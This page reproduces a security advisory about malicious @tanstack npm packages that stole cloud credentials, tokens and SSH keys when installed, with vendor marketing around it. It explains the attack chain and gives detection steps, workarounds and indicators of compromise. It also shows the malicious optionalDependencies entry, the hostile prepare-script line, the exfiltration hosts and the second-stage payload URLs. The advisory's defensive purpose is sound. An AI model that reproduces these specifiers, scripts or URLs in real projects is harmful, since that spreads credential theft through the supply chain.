Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
CISA KEV·Added 2026-05-27 — agencies required to remediate by 2026-06-10 · Ransomware
📦 npm

GHSA-g7cv-rxg3-hmpx

CRITICAL

Malware in @tanstack/* packages exfiltrates cloud credentials, GitHub tokens, and SSH keys

Also known asCVE-2026-45321
Published
May 12, 2026
Updated
Jun 9, 2026
Affected
84 pkgs
Patched
84 / 84
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
2.3%probability of exploitation in next 30 days
Lower Risk82th percentile0.00%
0.00%7.15%14.3%21.5%17.1%2.3%2.3%Jun 26Jul 26Jul 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

84 pkgs affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@tanstack/arktype-adapternpm
813downloads / week
@tanstack/eslint-plugin-routernpm
353Kdownloads / week
@tanstack/eslint-plugin-startnpm
17Kdownloads / week

Description

Summary

On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity.

Each affected package received exactly two malicious versions, published a few minutes apart.

Impact

A user installing any affected version executes a payload (~2.3 MB obfuscated router_init.js) at install time that:

  • Harvests credentials from common locations:
    • AWS instance metadata (IMDS) and Secrets Manager
    • GCP metadata service
    • Kubernetes service-account tokens
    • HashiCorp Vault tokens
    • ~/.npmrc (npm tokens)
    • GitHub tokens (env vars, gh CLI config, .git-credentials)
    • SSH private keys (~/.ssh/)
  • Exfiltrates harvested data over the Session/Oxen messenger file-upload network (filev2.getsession.org, seed{1,2,3}.getsession.org). This is end-to-end encrypted with no attacker-controlled C2, so blocking by IP or domain is the only network mitigation.
  • Enumerates packages that the victim maintains via registry.npmjs.org/-/v1/search?text=maintainer:<user> and republishes them with the same injection, propagating the compromise across npm.

Any developer or CI environment that ran npm install, pnpm install, or yarn install against an affected version on 2026-05-11 should be considered compromised. All credentials accessible to the install process should be rotated immediately. Cloud audit logs should be reviewed for activity originating from the affected hosts during and after the install window.

Detection

Inspect the published manifest of any pinned @tanstack/* version. Malicious manifests contain this exact optionalDependencies entry:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

To check a version without running install scripts:

npm pack @tanstack/<name>@<version>   # downloads tarball; does NOT execute lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js   # malicious payload, ~2.3 MB, present at package root

The payload file router_init.js is approximately 2.3 MB of obfuscated JavaScript. It is placed at the tarball root and is intentionally not declared in the package's "files" array, so it does not appear in the package's documented contents.

Mechanism

@tanstack/setup is not a real package on the npm registry. The github:tanstack/router#79ac49ee... specifier resolves to an orphan commit pushed to a fork in the tanstack/router GitHub fork network. GitHub serves commits across the entire fork network for git-URL dependencies, so the attacker did not require write access to TanStack/router itself — only the ability to fork and push to their own fork.

When npm processes the optional dependency, it:

  1. Fetches the orphan commit from the fork network.
  2. Installs the commit's declared dependencies (which include a real bun binary).
  3. Runs the commit's prepare lifecycle script: bun run tanstack_runner.js && exit 1. The trailing exit 1 causes the optional install to fail, after which npm silently discards it — leaving no node_modules trace.
  4. The tanstack_runner.js script in turn executes router_init.js from the host package's tarball.

Patches

Affected versions are being deprecated on npm with a SECURITY: notice. Where npm policy allows (no existing third-party dependents), affected versions are also being unpublished. The npm security team has been engaged to pull tarballs server-side for versions that cannot be unpublished.

Clean follow-up releases are being prepared. Update to the patched version listed in the affected-products table for each package, then reinstall from a clean lockfile.

Workarounds

Until clean follow-up releases are available:

  • Pin every @tanstack/* dependency to a known-good version published before 2026-05-11 19:00 UTC. The last known-good version for most affected packages was published on 2026-03-15.
  • Delete node_modules and the lockfile, then reinstall to ensure no transitive dependency resolves to a malicious version.
  • Configure npm to skip lifecycle scripts on install (npm config set ignore-scripts true) as a temporary defense-in-depth measure.
  • For CI, audit any pipeline that ran install against @tanstack/* between 19:20 and 19:30 UTC on 2026-05-11. Treat the runner as compromised and rotate any secrets it had access to.

Indicators of compromise

IndicatorValue
Malicious git refgithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
Fictitious package name@tanstack/setup
Payload filenamerouter_init.js (~2.3 MB, package root, undeclared in files)
Helper filename in orphan committanstack_runner.js
Exfiltration networkfilev2.getsession.org, seed1.getsession.org, seed2.getsession.org, seed3.getsession.org
Second-stage payload URLshttps://litter.catbox.moe/h8nc9u.js, https://litter.catbox.moe/7rrc6l.mjs
Poisoned cache keyLinux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
Publish window (UTC)2026-05-11 19:20 — 19:26
Publish mechanismGitHub Actions OIDC trusted publisher (oidc:db7d6f54-05d5-412b-8a10-e7a8398b303e)
Workflow runshttps://github.com/TanStack/router/actions/runs/25613093674 (attempt 4), https://github.com/TanStack/router/actions/runs/25691781302
Attacker GitHub accountszblgg (id 127806521), voicproducoes (id 269549300)
Attacker fork (renamed to evade detection)https://github.com/zblgg/configuration

Credits

References

  • Public incident tracking issue: https://github.com/TanStack/router/issues/7383
  • Related research:
    • Adnan Khan, "The Monsters in Your Build Cache: GitHub Actions Cache Poisoning" (May 2024)
    • GitHub Security Lab, "Keeping your GitHub Actions and workflows secure: Preventing Pwn Requests"
    • StepSecurity, "tj-actions/changed-files action is compromised" (March 2025) — the malicious payload reuses this incident's runner-memory extraction technique verbatim

Affected Packages

84 total 84 fixed
EcosystemPackageVulnerable rangeFix
📦npm@tanstack/arktype-adapter1.166.12&&< 1.166.161.166.16
📦npm@tanstack/eslint-plugin-router1.161.9&&< 1.161.131.161.13
📦npm@tanstack/eslint-plugin-start0.0.4&&< 0.0.80.0.8
📦npm@tanstack/history1.161.9&&< 1.161.131.161.13
📦npm@tanstack/nitro-v2-vite-plugin1.154.12&&< 1.154.161.154.16
📦npm@tanstack/react-router1.169.5&&< 1.169.91.169.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tanstack/arktype-adapter. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @tanstack/arktype-adapter to 1.166.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g7cv-rxg3-hmpx is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-g7cv-rxg3-hmpx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-g7cv-rxg3-hmpx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 `@tanstack/*` packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for `TanStack/router`, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a `pull_request_target` "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to pu
O3 Security · Impact-Aware SCA

Is GHSA-g7cv-rxg3-hmpx in your dependencies?

O3 detects GHSA-g7cv-rxg3-hmpx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.